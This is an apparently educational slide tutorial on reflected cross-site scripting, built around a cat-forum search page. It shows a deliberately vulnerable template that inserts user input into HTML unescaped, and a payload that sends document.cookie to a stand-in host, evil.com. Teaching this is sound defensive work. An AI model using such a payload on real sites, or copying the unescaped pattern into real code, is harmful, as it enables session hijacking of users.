Reflected XSS

Ep-4: What is XSS

Table Of Contents

• Ep-4: What is XSS
  • Scope
  • Reflected XSS Ex: Scenario
  • Reflected XSS Ex: Search Results View
  • Reflected XSS Ex: Back-end Code
  • Reflected XSS Ex: Payload
  • Reflected XSS Ex: Payload Eval Order
  • Reflected XSS Ex: Live Ex
  • Reflected XSS Summation
  • XSS Types
  • Additional Resources
  • Error Log
  • Knowledge Dependency Tree

Scope

• Questions to be answered
  • What is Reflected XSS (Cross-Site Scripting)?
  • How does Reflected XSS compare to other types of XSS?
  • What does a Reflected XSS payload look like?
• 80/20 Analysis

Reflected XSS Ex: Scenario

• Explore definition through example
• Scenario
  • Website forum for cat lovers
  • User just clicked on a link to show all cat photos on site

Reflected XSS Ex: Search Results View

• Browser Request
  • http://cats.example.com?search=cat-photos
• Server Response

  <!-- Search form... -->
  <input id='search' type='text' value='cat-photos'>
  <button>Search</button>
  <!-- Search form... -->
      

• Problems?
  • Alert: User submitted input is reflected into the response
    • Reflected XSS
  • “But wait, how is this untrusted?!”
    • We’ll explore this soon

Reflected XSS Ex: Back-end Code

• Portion of Server-side Template

  let searchParam = "cat-photos"; // Mock params from request
  let htmlPage = `<input id='search' type='text' value='${searchParam}'>`;
      

• Alert
  • User input isn’t validated against a whitelist
  • Using string concatenation with user input

Reflected XSS Ex: Payload

• Url View with payload

  http://cats.example.com?search='><script>document.location='http://evil.com/receiver?cookie='+document.cookie</script>
      

• Server-side Template View

  let htmlPage = `<input id='search' type='text' value='${searchParam}'>`;
      

• HTML View

  <input id='search' type='text' value=''>
  <script>document.location='http://evil.com/receiver?cookie='+document.cookie</script>'>
      

Reflected XSS Ex: Payload Eval Order

<script>document.location='http://evil.com/receiver?cookie='+document.cookie</script>'>

• Eval order
  1. document.cookie
     • A string containing a semicolon-separated list of all cookies (i.e. key=value pairs)
  2. document.location
     • Redirection logic
  3. evil.com can view submitted cookie string

Reflected XSS Ex: Live Ex

Reflected XSS Summation

• Process recap
  1. A victim clicks on a link with the payload
     • trusted.example.com/PAYLOAD_HERE
  2. The payload goes to trusted.example.com
  3. The payload is embedded in the response
     • The payload is reflected back to the user
  4. Malicious javascript sends trusted.example.com’s cookies to evil.example.com
• Attack vectors
  • Payload at the end of a long link
    • When previewing a link, only first x characters are easily viewable
  • Link shortener

XSS Types

• Persistent
  • Stored XSS
• Non-Persistent
  • Reflected XSS
  • DOM XSS

Additional Resources

Error Log

Knowledge Dependency Tree